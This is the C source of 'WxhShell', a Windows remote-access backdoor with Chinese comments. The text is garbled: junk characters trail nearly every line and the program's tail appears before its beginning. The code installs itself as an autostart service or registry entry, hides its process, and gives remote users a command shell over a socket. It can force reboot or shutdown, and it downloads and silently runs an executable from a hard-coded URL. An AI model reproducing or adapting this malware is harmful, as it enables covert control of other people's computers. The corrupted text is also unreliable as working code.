    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2l+'p[b0>  
    if(Boot(SHUTDOWN)) 02^\np  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zia6m[^Q  
    else { ex|)3|J  
    closesocket(wsh); Sxy3cv53  
    ExitThread(0); (/> yfL]J  
    } {c1wJ  
    break; LBpAR|  
    } Mns=X)/hc  
  // 获取shell E[CvxVCx  
  case 's': { Vhm^<I-d  
    CmdShell(wsh); sdewz(xskj  
    closesocket(wsh); v<0S@9~  
    ExitThread(0); +tlbO?  
    break; "1P2`Ep;  
  } _ -ec(w~/  
  // 退出 `Sj8IxO  
  case 'x': { Frhm4H%,_R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bx".<q(  
    CloseIt(wsh); hg+;!|ha  
    break; FFN.9[Ly  
    } k[1[Y{n.  
  // 离开 s, #$o3  
  case 'q': { <dk9n}y<,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !C.{nOfyv  
    closesocket(wsh); G<*h,'B  
    WSACleanup(); ,=%c e  
    exit(1); )pey7-P7g5  
    break; FQJFq6l  
        } 2NL|_W/  
  } ;ov}%t>UD  
  } pAEJ=Te  
~3Z(0 gujD  
  // 提示信息 3 }rx(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #)6 bfyi-  
} b\t@vMJ  
  } .R^]<b:`  
$- Z/UHT  
  return; 38JU-aq  
} i079 V  
 q,'~=Y5  
// shell模块句柄 Dt]FmU  
int CmdShell(SOCKET sock) Hc q@7g  
{ HOPsp  
STARTUPINFO si; WN#dR~>  
ZeroMemory(&si,sizeof(si)); Hp fTuydU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =0U"07%}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j!"NEh78H  
PROCESS_INFORMATION ProcessInfo; jm |zn  
char cmdline[]="cmd"; Rn whkb&&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y+VR D  
  return 0; k#@)gL  
} %bnjK#o"Q  
C2%Yry  
// 自身启动模式 JAL"On#c#0  
int StartFromService(void) Ly/5"&HD  
{ Cmj `WSSa  
typedef struct 'ka"0~:NS{  
{ stCFLYox  
  DWORD ExitStatus; yD ur9Qd6  
  DWORD PebBaseAddress; Nk>6:Ho{G  
  DWORD AffinityMask; ZOzyf/?.  
  DWORD BasePriority; rmnnV[@o  
  ULONG UniqueProcessId; 5YiBw|Z7 "  
  ULONG InheritedFromUniqueProcessId; N<lf,zGw  
}   PROCESS_BASIC_INFORMATION; "\1V^2kMr  
yj`xOncE}  
PROCNTQSIP NtQueryInformationProcess; h6Hop mWVx  
odq3@ ziO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l_=kW!l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /^Lo@672  
h1?.x  
  HANDLE             hProcess; a% 82I::t  
  PROCESS_BASIC_INFORMATION pbi; &[}5yos r  
YWa9|&m1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jb z>j\  
  if(NULL == hInst ) return 0; Jc9^Hyqu&  
$2*&\/;-E!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SB!m&;Tb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o&:n>:im  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %PU {h  
qv+}|+aL:  
  if (!NtQueryInformationProcess) return 0; !yTjO  
#9hSo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3qH`zYgh  
  if(!hProcess) return 0; qS2]|7q?Tc  
xZ&S7G1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qT_E=)1  
?B,B<@='%  
  CloseHandle(hProcess); s}Sxl0  
x1*@PiO,.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z{.L_ ]$ I  
if(hProcess==NULL) return 0; /B9jmvj`  
bk-aj'>+  
HMODULE hMod; u&Dd9kMz  
char procName[255]; iJK rNRj  
unsigned long cbNeeded; 4K*DEVS  
]z/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'Xzi$}E D  
^-7{{/  
  CloseHandle(hProcess); H~"XlP  
/ k8;k56  
if(strstr(procName,"services")) return 1; // 以服务启动 Y3wL EG%,:  
rO{"jJ  
  return 0; // 注册表启动 x?Oc<CQ-2  
} ( G6N@>V(`  
TMQu'<?V  
// 主模块 O/R>&8R$  
int StartWxhshell(LPSTR lpCmdLine) y0XI?Wr  
{ } "ts  
  SOCKET wsl; 1&}^{ Ys  
BOOL val=TRUE; V 5ihplAk  
  int port=0; OKq={l  
  struct sockaddr_in door; Y_Lsmq2!  
gb0ZGnI  
  if(wscfg.ws_autoins) Install(); OECXNx  
X{riI^(  
port=atoi(lpCmdLine); <ByDT$E_  
IN9o$CZ:  
if(port<=0) port=wscfg.ws_port; MRHkQE+K@8  
*:A )j?(  
  WSADATA data; `Lu\zR%<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }UWRH.;v  
eL!G, W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /C}fE]n{X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Kq0hT4w  
  door.sin_family = AF_INET; XUT\nN-N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L:F:ZOM6`  
  door.sin_port = htons(port); jNNl5.  
t| zLR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6Gs,-Kb:  
closesocket(wsl); Cx/duod p  
return 1; #0WO~wL  
} cBA2;5E  
$T0|zPK5  
  if(listen(wsl,2) == INVALID_SOCKET) { $rC`)"t  
closesocket(wsl); "]`QQT-{0  
return 1; DD hc^(  
} h@D4~(r  
  Wxhshell(wsl); 9?W38EF  
  WSACleanup(); .tb~f@xL  
ARu^hz=  
return 0; 5+O#5" v_  
4[&6yHJ^  
} " ,rA  
l9.wMs*`X  
// 以NT服务方式启动 ),6Z1 K1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c$'UfW  
{ g%<7Px[W  
DWORD   status = 0; {:enoV"  
  DWORD   specificError = 0xfffffff; 6A/|XwfE/v  
K~WwV8c9;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z@8amT;Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /qL&)24  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qQ6NxhQo  
  serviceStatus.dwWin32ExitCode     = 0; 9aC>gye!  
  serviceStatus.dwServiceSpecificExitCode = 0; HF\L`dJX?  
  serviceStatus.dwCheckPoint       = 0; tIC_/ 6  
  serviceStatus.dwWaitHint       = 0; E%-&!%_>D@  
BWX&5""  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3r{'@Y =)Y  
  if (hServiceStatusHandle==0) return; es(vWf'  
W:>RstbnMG  
status = GetLastError(); I>-jKSkwc  
  if (status!=NO_ERROR) tZXtt=M w  
{ GW{Nc !)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TniZ!ud  
    serviceStatus.dwCheckPoint       = 0; Rb~Kyy$  
    serviceStatus.dwWaitHint       = 0; I|O~F e.  
    serviceStatus.dwWin32ExitCode     = status; FM7N|] m  
    serviceStatus.dwServiceSpecificExitCode = specificError; "=f*Lk@[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D_9/|:N:  
    return; M=N`&m\  
  } t@v>eb  
"5jZS6A]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; si nG $=  
  serviceStatus.dwCheckPoint       = 0; nhCB ])u8l  
  serviceStatus.dwWaitHint       = 0; }u+R,@l/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *G~c6B Z  
} d*>M<6b-  
z4J-qK~2  
// 处理NT服务事件,比如:启动、停止 |ns^' q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HKcipDW  
{ p-; ]O~^  
switch(fdwControl) 3nK'yC  
{ ); |~4#  
case SERVICE_CONTROL_STOP: [bT@Y:X@`  
  serviceStatus.dwWin32ExitCode = 0; <qRw! 'S^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; up2%QbN(  
  serviceStatus.dwCheckPoint   = 0; ^LC5orO  
  serviceStatus.dwWaitHint     = 0; .(1$Q6yG  
  { !Xj m h$F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rjR  
  } H[Pb Wy:  
  return; puqH%m+u  
case SERVICE_CONTROL_PAUSE: ln=zGX.e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4 |5ekwk  
  break; kh,M'XbTo  
case SERVICE_CONTROL_CONTINUE: w6 "LHy[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *BO4"3Z  
  break; b]g.>$[nX  
case SERVICE_CONTROL_INTERROGATE: O: BP35z_F  
  break; [7s5Vt|  
}; ;Ok11wOw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CWN=6(y  
} Om1z  
UZAWh R  
// 标准应用程序主函数 yauP j&^R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  vo(?[[  
{ v S+~4Q41  
iN {TTy  
// 获取操作系统版本 h.Dk>H_G  
OsIsNt=GetOsVer(); Dps{[3Y+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `Ys })Pl  
~fUSmc  
  // 从命令行安装 R$3JbR.  
  if(strpbrk(lpCmdLine,"iI")) Install(); p.}[!!m P  
h?1pGz)[C  
  // 下载执行文件 lb6s3b  
if(wscfg.ws_downexe) { oF6MV&q/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D&^:hs@  
  WinExec(wscfg.ws_filenam,SW_HIDE); EqmJXDm  
} BxT~1SBFq  
UQdQtj1'  
if(!OsIsNt) { Cg|uHI*  
// 如果时win9x,隐藏进程并且设置为注册表启动 88*RlxU  
HideProc(); yR$_$N+E  
StartWxhshell(lpCmdLine); ( gFA? aD<  
} &sNID4FR  
else aw4+1.xy  
  if(StartFromService()) T8(wzs  
  // 以服务方式启动 GSFT(XX  
  StartServiceCtrlDispatcher(DispatchTable); t/D Q<B_  
else 1*jL2P]D  
  // 普通方式启动 :hr@>Y~r  
  StartWxhshell(lpCmdLine); k2WO*xa*  
xXYens}  
return 0; B*AMo5  
} V$_0VN'+Z  
@ixX?N)V  
[;2:lbPx  
D vKM>P%|  
=========================================== <EUSl|6  
'_<`dzz  
,Df36-74v5  
F@lpjW  
2r0!h98  
(qP$I:Q4]v  
" R _Y&Y-  
5q#|sVT7R  
#include <stdio.h> :V2 Q n-N  
#include <string.h> prs<ZxbQb  
#include <windows.h> Xda<TX@-  
#include <winsock2.h> iHn]yv3 #  
#include <winsvc.h> wEbs E<</  
#include <urlmon.h> eEh0T %9K  
-:>#w`H  
#pragma comment (lib, "Ws2_32.lib") 7EO&:b]  
#pragma comment (lib, "urlmon.lib") DnFl*T>  
q{ 1U  
#define MAX_USER   100 // 最大客户端连接数 }\{1`$*~  
#define BUF_SOCK   200 // sock buffer F)5Aq H/p  
#define KEY_BUFF   255 // 输入 buffer 79x9<,a)  
7x]nY.\  
#define REBOOT     0   // 重启 {4 d$]o0V  
#define SHUTDOWN   1   // 关机 %Eh%mMb^  
u_"h/)C'H  
#define DEF_PORT   5000 // 监听端口 -YyH"f   
4w6K|v<X  
#define REG_LEN     16   // 注册表键长度 Y fA\#N0;3  
#define SVC_LEN     80   // NT服务名长度 X&~Eo  
p4EItRZS  
// 从dll定义API M\6`2q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gc~h!%'.I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mlWIq]J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @/(7kh +  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7qz-RF#s8  
N8q Z{CWn  
// wxhshell配置信息 ~?5m5z O  
struct WSCFG { kAliCD)  
  int ws_port;         // 监听端口 ')-(N um  
  char ws_passstr[REG_LEN]; // 口令 EM/+1 _u  
  int ws_autoins;       // 安装标记, 1=yes 0=no z{0;%E  
  char ws_regname[REG_LEN]; // 注册表键名 l,L=VDEz,  
  char ws_svcname[REG_LEN]; // 服务名 sr+mY;   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Av>j+O ;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (NC>[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e:D"_B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9y*! W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2vN(z %p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I{I [N &N  
RbM~E~$  
}; $)]FCuv  
kw:D~E (  
// default Wxhshell configuration j/pQSlV  
struct WSCFG wscfg={DEF_PORT, WG luY>C;  
    "xuhuanlingzhe", ee^_Dh4  
    1, :*'?Ac ?  
    "Wxhshell", :+Ax3  
    "Wxhshell", Q3q.*(#  
            "WxhShell Service", faOWhIG  
    "Wrsky Windows CmdShell Service", AJd.K'=8  
    "Please Input Your Password: ", -*fYR#VQQB  
  1, si_ HN{  
  "http://www.wrsky.com/wxhshell.exe", m=,c,*>  
  "Wxhshell.exe" Q_.c~I}yV  
    }; /j/%wT2m  
5@ +Ei25  
// 消息定义模块 Z*>/@J}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f$|v0Xs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $2CGRhC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0_mvz%[J  
char *msg_ws_ext="\n\rExit."; cgXF|'yI&l  
char *msg_ws_end="\n\rQuit."; Z:J.FI@  
char *msg_ws_boot="\n\rReboot..."; ^p zxwt  
char *msg_ws_poff="\n\rShutdown..."; 0P40K  
char *msg_ws_down="\n\rSave to "; TK/'=8  
W.D3$  
char *msg_ws_err="\n\rErr!"; `A _8nW)  
char *msg_ws_ok="\n\rOK!"; ,Z7Z!.TY!  
`$SEkYdt  
char ExeFile[MAX_PATH]; AE4~M`6D  
int nUser = 0; x <\D@X^  
HANDLE handles[MAX_USER]; 4 6lEJ  
int OsIsNt; hYXZ21(K#  
[Um4\QvUx  
SERVICE_STATUS       serviceStatus; m{.M,Lm:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )B$P#dP)i  
#]DZrD&q  
// 函数声明 akW3\(W}  
int Install(void); 6Su@a%=j  
int Uninstall(void); "5JNXo,H  
int DownloadFile(char *sURL, SOCKET wsh); :+Q"MIU  
int Boot(int flag); tm1UH 4  
void HideProc(void); Cm;qDvj+u  
int GetOsVer(void); }R&5qpl  
int Wxhshell(SOCKET wsl); %s@S|< W  
void TalkWithClient(void *cs); RL Zf{Q>  
int CmdShell(SOCKET sock); n`z+ w*  
int StartFromService(void); &:CjUaP@  
int StartWxhshell(LPSTR lpCmdLine); k-pEBh OH  
u 1{ym_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WmjzKCl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m?VRX .>  
m_"p$m;  
// 数据结构和表定义 TBKd|D'H  
SERVICE_TABLE_ENTRY DispatchTable[] = )| x%o(n  
{ _|  
{wscfg.ws_svcname, NTServiceMain}, -+=:+LhSMb  
{NULL, NULL} #H6g&)Z_  
}; @fH&(@  
c\MsVH2 |  
// 自我安装 A$%!9Cma  
int Install(void) CTkN8{2S  
{ ki~y@@3I  
  char svExeFile[MAX_PATH]; \}x'>6zr2  
  HKEY key; ff}a <w  
  strcpy(svExeFile,ExeFile); +e8>?dkq  
3[=`uO0\7  
// 如果是win9x系统,修改注册表设为自启动 aR)en{W  
if(!OsIsNt) { CFJjh^ ~=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H[7cA9FI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x:?a;muf  
  RegCloseKey(key); '#N5i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hg9.<|+yo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _0W;)v  
  RegCloseKey(key); i ,IM?+4  
  return 0; KHlIK`r  
    } lke~>0;  
  } J/x@$'  
} +:,`sdv6o  
else { rFq@ ]t3q  
%+xwk=%*  
// 如果是NT以上系统,安装为系统服务 r[v-?W'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +~4bB$6*4)  
if (schSCManager!=0) R@<_Hb;Aeb  
{ 0/:=wn^pg  
  SC_HANDLE schService = CreateService &oeN#5Es8C  
  ( j|&DP-@g/  
  schSCManager, B8UZ9I$n  
  wscfg.ws_svcname, 27a* H1iQ  
  wscfg.ws_svcdisp, 7/|F9fF@M  
  SERVICE_ALL_ACCESS, [t.%&#baF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )t,{YGY#  
  SERVICE_AUTO_START, O5^J!(.O\Z  
  SERVICE_ERROR_NORMAL, iTLW<wG  
  svExeFile, {b,2;w}95  
  NULL, MxgLzt Y  
  NULL, MKe^_uF  
  NULL, [{@zb-h  
  NULL, [X }@Ct6  
  NULL *vRI)>wU  
  ); i$bzdc#s  
  if (schService!=0) XD^ dlL  
  { _;e!ZZLG  
  CloseServiceHandle(schService); fQQsb 5=i  
  CloseServiceHandle(schSCManager); whY~=lizn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7V} ]C>G  
  strcat(svExeFile,wscfg.ws_svcname); *^D@l%av;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |}M0,AS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); If-,c^i  
  RegCloseKey(key); <rB3[IJo  
  return 0; 7!r#(>I6?1  
    } {Vxc6,=  
  } &"[)s[m+t  
  CloseServiceHandle(schSCManager); v]:+` dV  
} ut$,?k!M  
} Hwp{<  
(LRM~5KVg  
return 1; Vd%v_Ek  
} _r\$NgJIM  
;P;"F21^>  
// 自我卸载 P{S\pWZkk  
int Uninstall(void) K$GRJ  
{ ^qeY9O  
  HKEY key; (T|TEt  
i*S|qX7``  
if(!OsIsNt) { CGC-"A/W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pcy<2UV  
  RegDeleteValue(key,wscfg.ws_regname); 5{13 V*<  
  RegCloseKey(key); SOp=~z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }!%JYG^!D  
  RegDeleteValue(key,wscfg.ws_regname); ~H^'al2PK  
  RegCloseKey(key); :K~rvv\L7  
  return 0; GIm " )}W  
  } <vB<`   
} }bf=Ntk  
} 22`oFXb'  
else { dGW {l]N  
SyK9Is{8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C$<"w,  
if (schSCManager!=0) VEj$^bpp5s  
{ S]&8St  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NunV8atn:  
  if (schService!=0) +T0op4  
  { O' +"d%2'  
  if(DeleteService(schService)!=0) { Q2/MnM  
  CloseServiceHandle(schService); L[?nST18%  
  CloseServiceHandle(schSCManager); Kt W6AZJ  
  return 0; {p`mfEE (  
  } Y?yo\(Cdx  
  CloseServiceHandle(schService); D~#Ei?aH  
  } %K[daXw6E8  
  CloseServiceHandle(schSCManager); Vb@ 4(Q  
} J I<3\=:+  
} [o2w1R\H+x  
"h=6Q+Ze  
return 1; d^F|lc ]8  
} xvU]jl6d  
d0(Cn}m"c  
// 从指定url下载文件 mxQR4"]jY  
int DownloadFile(char *sURL, SOCKET wsh) c $0_R;4/  
{ P+<BOG|m  
  HRESULT hr; ^P`NMSw  
char seps[]= "/"; wV\%R,bZj  
char *token; P|e`^Frxt  
char *file; *AZ?~ i^o  
char myURL[MAX_PATH]; ZJ;LD*  
char myFILE[MAX_PATH]; =/FF1jQ  
}e<'BIM E  
strcpy(myURL,sURL); o+nG3kRD  
  token=strtok(myURL,seps); xXX/]x>  
  while(token!=NULL) A\K,_&x1Z  
  { )^4hQ3BS  
    file=token; 5h0>!0  
  token=strtok(NULL,seps); !(Krf  
  } (;a B!(_  
[,=d7*b(l  
GetCurrentDirectory(MAX_PATH,myFILE); 8j%'9vPi  
strcat(myFILE, "\\"); WsR+Np@c  
strcat(myFILE, file); `)32&\  
  send(wsh,myFILE,strlen(myFILE),0); n`q2s'Pc  
send(wsh,"...",3,0); #EbGL])F}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l&Z Sm  
  if(hr==S_OK) $;2)s} ci  
return 0; Wta]BX  
else YNSyi@  
return 1; c<wavvfUo  
9Bz0MUbrLl  
} MIq"Wy|Zs  
n`(~O O  
// 系统电源模块 {.st`n|xz  
int Boot(int flag) +2RNZEc  
{ G?`-]FMO  
  HANDLE hToken; A>=E{  
  TOKEN_PRIVILEGES tkp; DG(%-w8p"  
hN   
  if(OsIsNt) { whye)w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BkawL,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); { p;shs5  
    tkp.PrivilegeCount = 1; x)SralWb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mdW~~-@H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k$N0lR4:p  
if(flag==REBOOT) { {tw+#}T a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5.vG^T0w  
  return 0; e_.Gw"/Yl  
} Fv8f+)k)Z~  
else { $A2n{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d(-EcY>?  
  return 0; nirDMw[  
} u.,Q4u|!  
  } 0 Y>M=|  
  else { *27*>W1  
if(flag==REBOOT) { (YPi&w~S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8|@9{  
  return 0; ;W]\rft[  
} X(@uwX$m  
else { SmhGZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s?2$ue&-f  
  return 0; ) 1 m">s4  
} ;"kaF!  
} q_V0+qH  
cA)[XpQ:+W  
return 1; dY(;]sxFr  
} -F@L}|  
wSEWwU[  
// win9x进程隐藏模块 ^v&D;<&R  
void HideProc(void) !cSq+eD  
{ HCWNo  
oD9^ID+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $q$7^ r@  
  if ( hKernel != NULL ) P 43P]M2  
  { &V7M}@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _oG&OJ@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); piy`zc- yu  
    FreeLibrary(hKernel); UC HZ2&  
  } |~!U4D\  
X] %itA  
return; T4)fOu3]  
} (wRgus  
PjKEC N  
// 获取操作系统版本 ?W>qUrZ  
int GetOsVer(void) 1r Ky@9   
{ vS\Nd1~?  
  OSVERSIONINFO winfo; p]T<HGJ P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `d7n?|pD  
  GetVersionEx(&winfo); ",6M)3{|c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -m *Sq  
  return 1; 8N&+7FK  
  else N IdZ  
  return 0; )R`xR,H  
} ,R%q}IH#  
wX  >*H  
// 客户端句柄模块 H0m|1 7  
int Wxhshell(SOCKET wsl) Od f[*  
{ CI353-`  
  SOCKET wsh; f+8wl!M+6  
  struct sockaddr_in client; X+UJzR90  
  DWORD myID; ;AO#xv+#  
>leU:7  
  while(nUser<MAX_USER) #@<9S{F  
{ {|I;YDA  
  int nSize=sizeof(client); nt*Hc1I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M5gWD==uP  
  if(wsh==INVALID_SOCKET) return 1; zR2B- &]H  
,eTU/Q>{,&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (L^]Lk x)  
if(handles[nUser]==0) Ym3\pRFiD  
  closesocket(wsh); Fu!RhsW5j  
else R(q~ -3~  
  nUser++; /p8dZ+X  
  } 0 $,SF3K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (sh)TBb5  
H\TI[JPAl  
  return 0; |PC*=ykT3  
} 1t)il^p4[;  
&Z`#cMR{H  
// 关闭 socket M5 <@~V/[  
void CloseIt(SOCKET wsh) rqY`8Ry2M  
{ yu;P +G  
closesocket(wsh); P9T}S  
nUser--; N;\'N ne  
ExitThread(0); hEp(A8g)bQ  
} =3L;Z[^9  
BocSwf;v.  
// 客户端请求句柄 c@893<_  
void TalkWithClient(void *cs) Z'\h  
{ thI F&  
\--8lH -K  
  SOCKET wsh=(SOCKET)cs; m6w].-D8  
  char pwd[SVC_LEN]; abyo4i5T  
  char cmd[KEY_BUFF]; !O<)\ )|g  
char chr[1]; A<??T[  
int i,j; U H*r5o3  
%^ !,t:d  
  while (nUser < MAX_USER) { d8c=L8~jt  
/ G7vwC  
if(wscfg.ws_passstr) { MB]<Dyj,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :51/29}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9po3m]|zy  
  //ZeroMemory(pwd,KEY_BUFF); ?`PvL!'  
      i=0; ~5}* d  
  while(i<SVC_LEN) { y ~U #veY  
rR(X9i  
  // 设置超时 w|K'M?N14  
  fd_set FdRead; (2$p{Uf  
  struct timeval TimeOut; y.< m#Zzt  
  FD_ZERO(&FdRead); ZzJ?L4J5v  
  FD_SET(wsh,&FdRead); Na]:_K5Dp  
  TimeOut.tv_sec=8; F^];U+J  
  TimeOut.tv_usec=0; :% ,:"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); huh6t !  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %z,m B$LY  
3 :<WY&9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /}b03  
  pwd=chr[0]; m8d!< h  
  if(chr[0]==0xd || chr[0]==0xa) { 1SCR.@ k<  
  pwd=0; 3sy (vC  
  break; Lr~=^{  
  } CVL3VT1j0  
  i++; 3u*4o=4e  
    } L.*M&Ry  
,9zjFI  
  // 如果是非法用户,关闭 socket |B.Y6L6l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^:^9l1]  
} Vt:~q{9*k  
YIQ 4t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A$Hfr8w1u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mwHB(7YS,  
$P/~rZ@M@  
while(1) { hKL4cpK4  
MyJ%`@+1  
  ZeroMemory(cmd,KEY_BUFF); -#u=\8  
;- ~B)M_S`  
      // 自动支持客户端 telnet标准   p6>Svcc  
  j=0; G\2 CR*  
  while(j<KEY_BUFF) { lb4Pcd j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G|!Tj X7s  
  cmd[j]=chr[0]; I_} SB|  
  if(chr[0]==0xa || chr[0]==0xd) { EE&K0<?T|:  
  cmd[j]=0; +" .X )avF  
  break; xpV|\2C  
  } Cjm`|~&e+  
  j++; gc_:%ki  
    } <\r T%f}3^  
,<(}|go   
  // 下载文件 *+Ek0M  
  if(strstr(cmd,"http://")) { P{kur} T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^oBtfN>4  
  if(DownloadFile(cmd,wsh)) k]F[>26k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +"\sc;6m.  
  else ?~BC#B\>o  
